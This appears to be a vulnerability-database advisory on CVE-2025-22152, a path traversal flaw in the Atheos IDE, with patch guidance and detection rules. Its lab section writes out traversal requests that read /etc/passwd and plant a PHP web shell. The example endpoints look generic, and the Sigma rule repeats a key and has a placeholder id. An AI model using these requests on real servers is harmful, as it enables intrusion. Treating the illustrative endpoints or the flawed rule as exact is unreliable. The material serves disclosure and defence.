CVE-2025-22152
Executive Summary
CVE-2025-22152 is a critical unvalidated path traversal vulnerability in Atheos, a self-hosted browser-based cloud IDE. Prior to version v600, the $path and $target parameters are not properly sanitized across multiple components, allowing an authenticated attacker to read, modify, or execute arbitrary files on the server. This vulnerability can be exploited through various attack vectors present in multiple PHP files. The flaw is fixed in version v600.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Atheos is a PHP-based application. The vulnerability exists in the core application code, not in a third-party package. However, the risk is amplified if Atheos is deployed in a shared or multi-tenant environment, as an attacker could potentially access files belonging to other users or the host system.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (Unscored) Vector: UNKNOWN
Threat Level: Critical
Rationale: The vulnerability allows an attacker to read, modify, or execute arbitrary files on the server. This can lead to complete compromise of the server, including data theft, code execution, and lateral movement within the network. The lack of a CVSS score does not diminish the severity.
Deep Dive & Mechanics
The vulnerability stems from insufficient validation of the $path and $target parameters in multiple PHP files within the Atheos application. These parameters are used to specify file paths for various operations such as opening, saving, deleting, and executing files.
Attack Vector:
An attacker can manipulate these parameters to include path traversal sequences (e.g., ../) to escape the intended web root directory and access arbitrary files on the server.
Impact:
- Arbitrary File Read: Read sensitive files such as
/etc/passwd, configuration files, or other users' data. - Arbitrary File Write/Modify: Overwrite critical system files, inject malicious code, or modify application logic.
- Arbitrary File Execution: If the attacker can write a PHP file to a web-accessible directory, they can execute arbitrary code on the server.
Affected Components: The vulnerability is present in multiple PHP files that handle file operations. The exact list of affected files is not publicly disclosed, but the fix in v600 addresses the validation logic.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-v600):
// Example of vulnerable code pattern
$path = $_GET['path'];
$content = file_get_contents($path); // No validation
Patched Code (v600):
// Example of patched code pattern
$path = $_GET['path'];
$baseDir = '/var/www/atheos/workspace';
$realPath = realpath($baseDir . '/' . $path);
if (strpos($realPath, $baseDir) !== 0) {
die('Invalid path');
}
$content = file_get_contents($realPath);
The patched code uses realpath() to resolve the absolute path and then checks that the resolved path starts with the allowed base directory. This prevents path traversal attacks.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable version of Atheos (pre-v600) on a local server (e.g., using Docker or a LAMP stack).
- Create a user account and log in to the Atheos interface.
- Identify the vulnerable endpoints by analyzing the PHP files that handle file operations.
Exploitation Steps:
- Arbitrary File Read:
GET /atheos/index.php?action=read&path=../../../../etc/passwd HTTP/1.1 Host: target.com - Arbitrary File Write:
POST /atheos/index.php?action=write&path=../../../../var/www/html/shell.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded content=<?php system($_GET['cmd']); ?> - Arbitrary File Execution:
After writing a PHP shell, access it via:
GET /shell.php?cmd=id HTTP/1.1 Host: target.com
Blue Team
Detection:
- Monitor for path traversal patterns in HTTP requests (e.g.,
../,%2e%2e%2f). - Monitor for access to sensitive files (e.g.,
/etc/passwd,/etc/shadow). - Monitor for unexpected file writes to web-accessible directories.
Hunting:
- Search web server logs for requests containing
../or encoded variants. - Look for requests to
shell.phpor other suspicious file names. - Check for files with recent modification times in web-accessible directories.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests containing
../or%2e%2e%2fin thepathortargetparameters. - HTTP requests to
/etc/passwd,/etc/shadow, or other sensitive files. - HTTP requests to newly created PHP files in web-accessible directories.
- HTTP requests containing
- File System:
- Unexpected files in the web root (e.g.,
shell.php,cmd.php). - Modified system files (e.g.,
/etc/passwd). - New user accounts or SSH keys.
- Unexpected files in the web root (e.g.,
- Process:
- Unusual PHP processes executing system commands.
- Reverse shells or outbound connections to unknown IPs.
Detection Engineering
YARA Rule
rule CVE_2025_22152_Path_Traversal {
meta:
description = "Detects path traversal attempts targeting Atheos CVE-2025-22152"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22152"
strings:
$path_traversal = /(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/ nocase
$atheos_param = /(path|target)=/ nocase
condition:
$path_traversal and $atheos_param
}
Sigma Rule
title: CVE-2025-22152 Atheos Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in Atheos IDE
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '../'
- '..\\'
- '%2e%2e%2f'
- '%2e%2e%5c'
c-uri|contains:
- 'path='
- 'target='
condition: selection
falsepositives:
- Legitimate use of relative paths in some configurations
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-22152 Atheos Path Traversal Attempt"; flow:to_server; content:"path="; nocase; content:"../"; distance:0; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade: Upgrade Atheos to version v600 or later immediately.
- Isolate: If upgrade is not possible, isolate the Atheos instance from the network or restrict access to trusted users only.
- WAF Rules: Deploy Web Application Firewall (WAF) rules to block path traversal patterns.
Long-term:
- Input Validation: Implement strict input validation for all file path parameters.
- Least Privilege: Run the web server with the least privileges necessary.
- File Integrity Monitoring: Implement file integrity monitoring to detect unauthorized file changes.
- Regular Audits: Conduct regular security audits and penetration testing.
Valters IT